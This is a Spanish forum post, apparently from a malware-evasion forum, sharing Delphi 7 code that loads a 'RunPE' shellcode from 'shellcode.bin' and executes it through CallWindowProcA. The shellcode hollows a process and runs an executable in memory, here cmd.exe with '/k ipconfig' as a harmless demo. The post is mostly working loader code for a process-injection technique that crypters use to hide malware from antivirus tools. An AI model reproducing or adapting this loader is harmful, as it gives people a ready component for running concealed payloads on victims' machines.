Bueno ya que pink se animo a publicar su codigo de como usar el runpe shellcode con parametros en este link http://www.indetectables.net/viewtopic. ... 21#p479621
me decidi a hacer lo mismo pero en el lenguaje Delphi tiene algunos cambios ya que la version que utilize es Delphi7 y su manejo de cadenas al no ser unicode nativo como en sus versiones mas recientes.
El codigo puede confudir a los nuevos en la codificacicon unicode y por secuencia como es que Delphi lo maneja

Pero no es nada otro mundo solo entender que un char tradicional vale 1 byte y un char unicode(widechar) vale 2 byte asi como tambien para poder usar funciones del api de windows no nos basta con pasarle string sino que tenemos que hacer un tipo de casting usando las funciones pchar o pwidechar la ultima de esta es para las cadenas o arreglos unicode
uses
  SysUtils,windows;

Function mFileToStr(Ruta: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(Ruta), OF_READ);
uBytes:= GetFileSize(sFile, nil);
SetLength(Result, uBytes);
_lread(sfile, @result[1], uBytes);
_lclose(sFile);
end;


var
  ruta:widestring;
  parametro:widestring;
  aRuta:array[0..1023] of WideChar;
  FicheroExe,sAsm:string;
  i:Integer;
begin
  //configuramos tanto la ruta como los parametros usamos strings unicode necesarias para el string que lleva la ruta y el parametro
   ruta:='C:\windows\system32\cmd.exe';
   parametro:='/k ipconfig';
   CopyMemory(@aRuta[0],PwideChar(ruta),Length(ruta)*sizeof(widechar));
   //aqui no le pasamos 512 ya que con el casting a pwidechar solo se le pasa la mitad
   CopyMemory(pwidechar(@aRuta[0])+256,PwideChar(parametro),Length(parametro)*sizeof(widechar));

   //Leemos el cmd.exe y el shellcode y los guardamos en strings simple
   FicheroExe:=mFileToStr(ruta);
   sAsm:=mFileToStr('shellcode.bin');

   //ejectuamos el shellcode
   CallWindowProcA(@sAsm[51],hwnd(@aRuta[0]),Cardinal(@FicheroExe[1]),0,0);
   Readln;

   //al final nos mostrama por la consola el comando ipconfig con todas nuestras direcciones ip
end.
Skype:crack8111
Responder

Volver a “Fuentes”